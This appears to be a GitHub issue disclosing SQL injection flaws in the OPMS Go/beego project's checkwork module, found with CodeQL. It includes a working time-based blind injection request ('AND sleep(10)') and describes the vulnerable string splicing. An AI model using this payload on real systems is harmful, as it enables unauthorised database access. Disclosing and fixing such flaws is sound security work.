Open AFKL1919 opened 2 years ago
exp:
GET /checkwork/manage?date=2021-10&type=2+AND+sleep(10)%23 HTTP/1.1
Host: 172.19.234.154:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: beegosessionID=9160fb678c997ef62c21ed6585088540
Upgrade-Insecure-Requests: 1
use the beego sql "setargs" method
I have scanned this project using codeql. There are 7 places in the
opms\models\checkworks\checkworks.go
file where sql injection can be performed.Here are two examples of them.
In lines 30 and 31 of the
opms\controller\checkworks\checkworks.go
file, the system gets thetype
anddate
GET parameters and passes them into theListCheckwork
function.Then the parameters are dynamically spliced strings, leading to sql injection.